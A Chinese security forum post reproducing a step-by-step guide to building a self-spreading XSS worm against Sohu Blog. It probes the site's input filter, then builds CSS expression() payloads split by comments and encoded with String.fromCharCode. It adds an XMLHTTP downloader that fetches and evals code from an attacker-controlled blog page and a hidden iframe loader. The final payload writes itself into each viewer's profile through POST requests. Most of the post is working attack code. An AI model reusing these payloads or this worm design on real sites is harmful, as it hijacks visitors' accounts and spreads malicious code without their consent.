查看: 2204|回复: 0
收起左侧

[求助] --> 一只完整的XSS wrom实现流程 -茄子宝

[复制链接]
yxwxqflbyg
发表于 2007-12-23 17:01:03 | 显示全部楼层 |阅读模式
--> 一只完整的XSS wrom实现流程 -茄子宝

不说废话,且看怎么实现,我先拿SOHU BLOG做示范.

1.测试过滤字符,下面都是构造XSS所需要的关键字符(未包含全角字符,空格是个TABLE,\/前是真正的空格),在个人档案处看过滤了哪些.

'';:!--"<javascript  JAvaSCriPT>=&#{()} \/

结果

'';:!--&quot;=&amp;#{()} //

过滤了"javascript","&"和"\"这两个转义字符串,因此HTML转码和CSS样式转码已无效,只好从属性和事件入手.

2.测试一个XSS常用属性和两个事件,貌似没有过滤字符.
expression
onerror
onload

3.下面开始尝试构造语句.如下:

<img src="#" style="Xss:expression(alert('xss'));">

<img src="#" onerror=alert('xss')>

<img src="http://js.pp.sohu.com/ppp/blog/styles/images/welcome.jpg" onload=alert('xss')>

构造完整标记,页面输出后又全部过滤.

4."/"字符没有过滤因此可以构造/*xxxx*/注释符,expression属性可以配合注释符构造出语句:

<div style="xss:ex/**/pre/**/ssion(alert('xss'))">

5.由于expression属性比较特殊想当于一个死循环的EVAL函数,同时style标记里不能出现";"字符,也就是不能构造多条连接在一起的javascript,因此构造出如下语句:

<DIV STYLE="xss:ex/**/pre/**/ssion(eval(xss));" xss="var Then=new Date();Then.setTime(Then.getTime()+10*1000);if(document.cookie.indexOf('Cookie1=') == -1){document.cookie='Cookie1=RAY;expires='+Then.toGMTString();alert('xss');}">

//设置一个COOKIE在10秒后失效,并在这条COOKIE语句中执行其他语句或函数.

6.遗憾的是SOHU BLOG对于标记内不合适的内容都会过滤,因此我们无法eval标记内的某个变量,于是采用fromCharCode方法,将Unicode字符值专成字符串再用eval函数执行:

<div style="xss:ex/**/pre/**/ssion(eval(String.fromCharCode(97,108,101,114,116,40,39,120,115,115,39,41)))">

7.感染流程考虑:

㈠.BLOG页面的个人档案处是页面通用的,

㈡.XSS内容写到个人档案处,所有浏览者都会触发XSS

㈢.实现一段提交XSS内容到个人档案的代码.

8.个人档案处只能输入2048个字符,又采用了fromCharCode方法,因此出现XSS代码长度的限制,因此只能调用远程代码,于是写出了个XSS downloader.

主要代码:

function d(){
a=new ActiveXObject('Microsoft.XMLHTTP'); /*调用XMLHTTP控件
a.Open('get','http://s0n9.blog.sohu.com/31406970.html&#39;,false);/*发出一个GET提交请求
a.send();
b=a.responseText; /*将传回值赋给变量B
eval(unescape(b.substring(b.indexOf('--|')+3,b.indexOf('|--'))));
/*用indexOf计算 --|********|-- 的位置,用substring方法取出字符串,最后用unescape方法解码,
}d()

http://s0n9.blog.sohu.com/31406970.html页面代码:

alert%28%27xss%27%29%3B /*利用escape将标点符号转码,由于responseText特性,某些字符会转换,如"&"字符会变成"&amp"

9.xss wrom剩下的三个流程

<div style="xss:expression(alert('xss'))">

感染代码. 利用DOM创造一个隐藏的iframe指向[远程调用代码页]

javascript:function d(){var o=document.createElement('iframe');o.width=0;o.height=0;o.frameBorder=0;o.name='hf';o.id ='hf';document.body.appendChild(o);oi = frames['hf'];setTimeout(function(){oi.location = 'http://xss-poc.blog.sohu.com&#39;;},5000);}var Then=new Date();Then.setTime(Then.getTime()+60*1000);if(document.cookie.indexOf("Cookie2=") == -1){document.cookie="Cookie2=hack;expires="+Then.toGMTString();d();}

远程调用代码. 调用[代码控制页面]内代码运行

javascript:function d(){a=new ActiveXObject('Microsoft.XMLHTTP');a.Open('get','http://xss-poc.blog.sohu.com/31675957.html&#39;,false);a.send();b=a.responseText;eval(unescape(b.substring(b.indexOf('--|')+3,b.indexOf('|--'))));}var Then=new Date();Then.setTime(Then.getTime()+30*1000);if(document.cookie.indexOf("Cookie1=") == -1){document.cookie="Cookie1=RAY;expires="+Then.toGMTString();d();}

代码控制页面(编辑任意代码运行)

escape转换代码标点

--|var image='';var icon='http%3A%2F%2Fimg3.pp.sohu.com%2Fppp%2Fblog%2Fimages%2Fcommon%2Fnobody.gif&change=flase';var detailDesc='<div+style="xss:ex/**/pre/**/ssion(eval(String.fromCharCode(106,97,118,97,115,99,114,105,112,116,58,102,117,110,99,116,105,111,110,32,100,40,41,123,118,97,114,32,111,61,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,105,102,114,97,109,101,39,41,59,111,46,119,105,100,116,104,61,48,59,111,46,104,101,105,103,104,116,61,48,59,111,46,102,114,97,109,101,66,111,114,100,101,114,61,48,59,111,46,110,97,109,101,61,39,104,102,39,59,111,46,105,100,32,61,39,104,102,39,59,100,111,99,117,109,101,110,116,46,98,111,100,121,46,97,112,112,101,110,100,67,104,105,108,100,40,111,41,59,111,105,32,61,32,102,114,97,109,101,115,91,39,104,102,39,93,59,115,101,116,84,105,109,101,111,117,116,40,102,117,110,99,116,105,111,110,40,41,123,111,105,46,108,111,99,97,116,105,111,110,32,61,32,39,104,116,116,112,58,47,47,120,115,115,45,112,111,99,46,98,108,111,103,46,115,111,104,117,46,99,111,109,39,59,125,44,53,48,48,48,41,59,125,118,97,114,32,84,104,101,110,61,110,101,119,32,68,97,116,101,40,41,59,84,104,101,110,46,115,101,116,84,105,109,101,40,84,104,101,110,46,103,101,116,84,105,109,101,40,41,43,54,48,42,49,48,48,48,41,59,105,102,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,46,105,110,100,101,120,79,102,40,34,67,111,111,107,105,101,50,61,34,41,32,61,61,32,45,49,41,123,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,34,67,111,111,107,105,101,50,61,104,97,99,107,59,101,120,112,105,114,101,115,61,34,43,84,104,101,110,46,116,111,71,77,84,83,116,114,105,110,103,40,41,59,100,40,41,59,125)))"></div>';var submit='&m=update&submit=%B1%A3+%B4%E6';var datacode='image='+image+'&icon='+icon+'&detailDesc='+escape(detailDesc)+submit;a.Open('post','/manage/profile.do',false);a.setRequestHeader('Content-Type','application/x-www-form-urlencoded');a.send(datacode);var title='s0n9%27s%20b109';var desc='%u8304%u5B50%u5B9D%u7684%u5783%u573E%u5806';var link='http%3A//s0n9.blog.sohu.com/&_';var datalink='m=add&title='+title+'&desc='+desc+'&link='+link;a.Open('get','/manage/link.do',false);a.setRequestHeader('Content-Type','application/x-www-form-urlencoded');a.send(datalink);alert('H4c|<Ed by RAyH4c&QQ30039780&*.=+');|--
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2025-2-4 02:41 , Processed in 0.138398 second(s), 17 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表